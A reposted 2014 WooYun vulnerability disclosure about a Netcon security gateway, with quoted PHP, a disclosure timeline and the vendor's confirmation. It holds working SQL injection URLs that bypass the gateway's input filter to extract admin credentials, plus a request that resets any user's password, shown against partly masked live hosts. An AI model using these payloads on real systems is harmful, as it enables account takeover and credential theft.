网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

admin 2015年6月26日22:29:33评论477 views字数 228阅读0分45秒阅读模式
摘要

2014-09-29: 细节已通知厂商并且等待厂商处理中
2014-09-29: 厂商已经确认,细节仅向厂商公开
2014-10-02: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-23: 细节向核心白帽子及相关领域专家公开
2014-12-03: 细节向普通白帽子公开
2014-12-13: 细节向实习白帽子公开
2014-12-28: 细节向公众公开

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2014-77810

漏洞标题: 网康安全网关任意用户密码修改+SQL注入(绕过全局防注入) 网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

相关厂商: 网康科技

漏洞作者: 路人甲

提交时间: 2014-09-29 17:42

公开时间: 2014-12-28 17:42

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 设计缺陷/边界绕过 php源码审核

3人收藏


漏洞详情

披露状态:

2014-09-29: 细节已通知厂商并且等待厂商处理中
2014-09-29: 厂商已经确认,细节仅向厂商公开
2014-10-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-23: 细节向核心白帽子及相关领域专家公开
2014-12-03: 细节向普通白帽子公开
2014-12-13: 细节向实习白帽子公开
2014-12-28: 细节向公众公开

简要描述:

网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

详细说明:

0x01 漏洞信息

/vpnweb/resetpwd/resetpwd.php

产生漏洞的代码:

code 区域
<?php
include("include/common.inc");
if(!str_check($username)||!str_check($UserId)||!str_check($password1))
exit;
switch ($action){
case "update":
$dbh = db_connect();
$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";
db_update($dbh,$update,"重置密码");
form_logon($UserId,"",$para,"&nbsp;重置密码成功!",true);
db_close($dbh);
break;
}

0x02 任意用户密码修改

$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";

从上面的代码可以知道修改密码只需要UserId即可修改,而该参数是可以猜测的,于是造成了漏洞。

0x03 SQL注入

进入SQL查询的代码为:

$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";

可以知道,UserId没有单引号的保护,虽然UserId经过了str_check函数的检查

if(!str_check($username)||!str_check($UserId)||!str_check($password1))exit;

0x04 SQL注入漏洞证明

https://124.133.xx.xx:4443//vpnweb/resetpwd/resetpwd.php?action=update&password1=111111&UserId=1%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%23

网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

https://218.xx.167.1x/vpnweb/resetpwd/resetpwd.php?action=update&password1=111111&UserId=1%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%23

网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

0x05 任意用户密码修改证明

首先通过SQL注入查询出一个用户的UserId,UserName,Password,如图

网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

接下来修改该用户的密码为:wooyun

只需要提交如下的的参数

https://218.xx.167.1x/vpnweb/resetpwd/resetpwd.php?action=update&password1=wooyun&UserId=7

再次注入出UserId为7的密码:

网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

可以看见,已经被修改为:wooyun。(密码已改回原密码)

漏洞证明:

网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-09-29 18:11

厂商回复:

该漏洞与WooYun-2014-属同一漏洞,建议合并,谢谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2014-09-29 17:42 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安,不只保险这么简单。)

    1

    这个可以有。

  2. 2014-10-20 10:03 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

    0

    我靠,这尼玛也可以啊。到底咋写的。而且他全局怎么过滤的啊……

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin